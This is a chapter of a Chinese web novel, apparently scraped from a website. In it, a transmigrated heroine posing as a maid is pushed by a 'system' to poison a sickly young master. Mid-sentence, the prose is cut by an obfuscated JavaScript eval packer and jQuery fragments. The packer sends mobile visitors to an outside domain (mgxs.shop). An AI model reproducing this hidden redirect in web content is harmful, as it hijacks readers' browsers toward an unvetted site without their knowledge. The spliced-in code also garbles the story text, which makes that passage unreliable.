在方顾生不可置信的注视中,章沫熟门熟路地跑向窗边,推开窗户跳了下去,又轻巧地关上窗户。
方顾生盯着章沫小心谨慎消失的背影,紧闭的窗沿,捏着被子的手紧了又紧,紧绷的脸青黑一片。
章沫捂着直跳的小心脏,轻手轻脚走向门边,贴在门上听里面的动静。一开始,里头静悄悄连脚步声都没有,章沫一想他一个大男人,应该不会出什么大事。
准备撤离之际,房间内传出费力的咳嗽声,一声接着一声,好像要将胸腔震碎。
纠结了一瞬,章沫打开窗户探出脑袋往里面看。方顾生已经穿好中衣,披着素白色的外裳坐在床边,一手撑着床不停地咳嗽,长发凌乱垂下遮在胸前,病态的脸色更加苍白。章沫愣愣地看了会,竟然生出几分我见犹怜的心思。
方顾生听见脚步声接近,警惕抬起头,章沫就见他双眼红晕一圈,脊背肉眼可见地紧绷。
章沫不安地站定在离他几步之遥的地方,心虚道:“我就来看看你怎么样了,你要是没了,夫人肯定会找我麻烦的。”
方顾生没理她,颤颤巍巍扶着床站起身,从章沫面前走过,虚弱无比地走向桌椅的方向。
看着身残志坚的男主孱弱的背影,章沫心起愧疚,急忙跑过去,殷勤地给他搬出凳子,倒了一碗水递到他面前。
手掌心里的杯子冰冰凉凉,一点热气都没有,可怜男主一个富贵人家的少爷,不仅没有下人照顾,连口热水都没有。
章沫十分感伤,不知不觉叹了口气。007警告道:“宿主,你现在的行为现在违法……”
“我明白了!”007还未说完,章沫立刻警觉,手臂一个大拐弯,当着方顾生的面将大半杯水喝了下去。
方顾生伸出的手僵在半途,瞪着眼看着章沫畅快地喝完,怒火中烧,气急攻心,撑着桌子又开始半死不活得咳起来。
章沫开始拙劣的演技,裂开嘴角,小人得志地看着他,得意摇晃着杯子,“少爷不会以为我给你倒水吧,不要太自作多情,我可是夫人的人。”
她将杯子往桌边一扫,咕噜噜滚动的杯子半途中碰到水壶,堪堪停了下来。
方顾生怒瞪着她,撑在桌子上的手指死死扣住桌沿,泛出青白。
章沫看着方顾生越来越黑的脸,镇静地往窗户边走去。
看似十分冷静,心里已经掀起惊涛骇浪。
他没跟过来吧!不会在后脑勺突然上敲一下吧!
脑子里都是自己以后死无葬身之地的悲催样子,这男主睚眦必报的性格可不是软装的。
内心复杂的章沫战战兢兢地从窗户上爬出去,关门的瞬间,听见里面凳子踹翻在地的声音,接着是连连凶猛的咳嗽,深入肺腑的猛咳后,只剩下几声虚弱无力的喘息。
窗户隔绝了里面的人影,却挡不住颤颤巍巍的咳嗽声断断续续地传出来,直听的章沫心里不是滋味,感觉自己在为虎作伥。酸楚、愧疚一下子涌上心头,站在窗户边上久久没有离开,直到听到房间里沉闷的咳嗽渐渐消失,她才离开。
007严肃警告道:“宿主,你要谨言慎行,如果被书里的主角察出异样,你就完了。”
章沫没有心思回答他,敷衍道:“知道了,这不是有你吗。”
007道:“你现在只剩下两天时间了,你再不加紧行动,我也救不了你。”
章沫一路长吁短叹,毫无目的地往前走,路上遇到的下人都躲着她走,章沫看出了他们各色各异躲避的神色。珠儿原本就是宋宁得宠的手下,一直仗着受宠骄横放纵,许多人都怕她。
章沫明白那些眼神里大多都是幸灾乐祸,不知不觉中,不知道走到了哪里,她看着前方青石板尽头矮小的房子。
正在她愣神的时候,夏竹丛房子里出来,看到她,眼睛一眯,走了过来,苛责道:“找你半天了,以为你在这杂院里,到处瞎跑干什么!”
“夫人说了,以后你跟少爷住去,你现在就是他的贴身丫鬟,赶紧收拾铺盖去少爷那边。”
说完,夏竹接着嘲讽道:“你说你好日子不过,背叛夫人干什么?”她冷笑一声,“不要以为夫人真的心软,相信你,到时候有你好受的。”
废话还要就你说!章沫冷哼哼吐槽一句,刚想开口说话,立刻响起自己正是喉咙重度烫伤人士,应该一个字都说不出来才对,学着男主的样子猛咳,蹲在地上弯不起腰来。
夏竹嫌弃地远离她,一脸不待见。
自从珠儿被宋宁信任,成为贴身丫鬟后,被平分权利的夏竹就开始和珠儿针锋相对,现在夏竹一整个就是胜利者的姿态。
章沫看不惯她趾高气扬的模样,默默转身朝这她远去的背影怯怯竖起小指。
循着隐约的记忆,章沫来到珠儿住的地方,一人住一间,可以看得出来得宠程度。
一览无余的屋子里简简单单,章沫翻箱倒柜找出一两件看似贵重的珠宝、几两碎银子,是层层叠叠地包好藏在床铺底下的。
她站在柜子边收拾衣服还一边吐槽,“辛辛苦苦一辈子,积攒的全部家底被我拿走了,是在不好意思”,她习惯性地抖了两下手里的衣服,“当”的一声,从里面里掉出什么东西砸在她脚背上。
章沫愣了几下,捡起来一看,是半截缺口的玉环,白玉样式,顶头穿了根绳子。
一瞬间,她感觉胸口的位置有种莫名的酸胀感,转眼稍纵即逝。
章沫好奇问道:“007,这是什么东西?”
007道,“玉佩,具体是什么,系统只了解书本里写的东西,没有写过的我们不知道。”
章沫看着两边的缺口,喃喃道:“这应该是一整个吧,怎么缺了一半。”
这句话好像牵动了什么,她捂住心脏的位置,竟然能清晰地感受到心脏剧烈的跳动。
这玉佩应该是珠儿重要到即使脱离灵魂,也会悸动的物件,章沫将她戴在脖子上,藏在衣服里,贴近心脏最近的位置上。
等到了男主居住的后院,为了弥补心中的愧疚,她去男主那边报道前,第一件事就是去厨房端来丰盛的午菜,殷勤地送到男主面前。
此时房门已经打开,方顾生大敞着门,坐在书桌上提笔临摹字体,聚精会神,并没有注意到进门的章沫。
章沫在桌子上放下装饭菜的盒子,往方顾生坐的位置看过去,赏心悦目地看了好一会男主挺立的身姿,握笔的手也是修长好看。
她满足地收回视线,却不经意间扫过男主手边叠放的几本书,突然想起来,那包毒药好像还夹放在其中一本里面。
章沫准备喊出来的话霎那间梗在喉咙里,连伸出去的脚都僵在原地。
察觉异样的方顾生抬起头,看见面如土色的章沫,冷声道:“出去!”
章沫心如死灰,正了正心神,道:“夫人说了,我现在是你的贴身丫鬟,时刻服饰你,你的穿衣住行都归我负责。”
说完,露出职业假笑,来掩饰心颤的心虚。
方顾生握笔的手紧紧用力,根根分明的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768975|209842||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
指骨咯咯直响,突然将手中的笔往前一扔,浓稠的黑墨洒了一地,毛笔落在章沫脚边。
“这里不需要你伺候,去告诉她,不管是施舍的,还是虚情假意,我都不需要!”
章沫虽然心慌,还是弯腰捡起粘灰的毛笔,慢慢走向方顾生,在男主怒不可遏的目光下,将毛笔放在桌子上面。
好声好气道:“少爷,夫人那边还是麻烦少爷亲自去说,我先出去了,桌上有饭菜,冷了就不好吃了。”
她恋恋不舍地看着那几本书,近在咫尺,却不能唾手可得。没有药,她没有东西下毒,总不能随便搞个滥竽充数的药粉,谁知道里面真的是慢性毒药,还是立即见阎王的鹤顶红。
章沫走出去,一脚还没踏出门,喜怒不常的方顾生怒吼道:“把你的东西拿出去。”
还剩两天的时间,章沫除了下药的任务,还多了一个偷药的任务,她头疼,奈何方顾生还不待见她,一见她的脸,阴沉沉地眉宇间马上风雨交加,雷霆滚滚。
经过章沫一下午的观察,方顾生除了脾气不好,还是个好学的孩子,大部分时间不是在读书就是碾磨临摹书法,现在闲来无事修剪院子里的花花草草。
方顾生完全将章沫当个透明人,从不回话,爱答不理。
院子里,见男主蹲在地上咳了好一阵子,章沫捧着杯子出来,走到他身侧,热切道:“少爷,您喝茶漱漱嘴。”
方顾生忍住好不容易克制住的咳嗽,甩开章沫搀扶的手,自己站了起来,看了眼章沫手中的水杯,“不要以为你这样做我就能接受你。”
章沫对他的态度毫不在意,露出慈祥的笑意看着他走远了,出了院子便不见踪影,等了一会不见人影,她才大着胆子走向屋子里。
一只白鸽从她头顶跃过,扑扇着翅膀停在房顶上,此时焦心焦力的章沫看了眼,并没有在意,冲近房间关上门。
桌上的书就四本,章沫翻了前几本,什么都没看到,自己什么死法都想好了,幸好书桌上几本书方顾生并没有动,翻到最后一本终于找到了。
方顾生不能出府邸,应该是随便找个地方生闷气,没一会就回来了,他一进屋,对着门外气愤一指,“滚出去,我要休息。”
他一动气,又是一阵猛咳,好不容易走到床边,脱力往地上一跪。
章沫感叹了句“真是活祖宗”!赶紧跑过去将他扶上床,脱他的外裳,还自证清白地念叨:“不要想太多,夫人让我这样做的,我也不能忤逆她的意思,要死你病死在这里了,我可没办法交代。”
方顾生竟然十分配合抬起手臂,章沫好奇地抬头看了一眼,这活祖宗性格阴晴不定,一张脸却继承了他父母所有的优点,生得风朗俊逸,定定地看着她。
章沫竟然不好意思,脸上渐渐滚烫起来。
一只冰冷地手握住她的手背,捏得很紧。方顾生的脸缓缓靠近,两人的鼻尖近在咫尺,他牵起嘴角,“你是不是用宋宁的借口,处心积虑地接近我。”
他的眼神和距离极其暧昧,章沫很快就反应过来他说的是什么,霍地站起身,红着脸道:“谁对你有意思!想得美!”
章沫愤然离开,身后坐在床上的方顾生拉好脱了一半的外裳,脸上的笑意刹那间消失。
一只白鸽从门外飞了进来,停在桌上休闲自得地啄身上的羽毛,方顾生盯着白鸽脚边黑绳绑的细长竹筒,沉默的脸上掀起微不可查的涟漪。
他起身快速走去关门,一点看不出开刚才病弱不能自理的样子。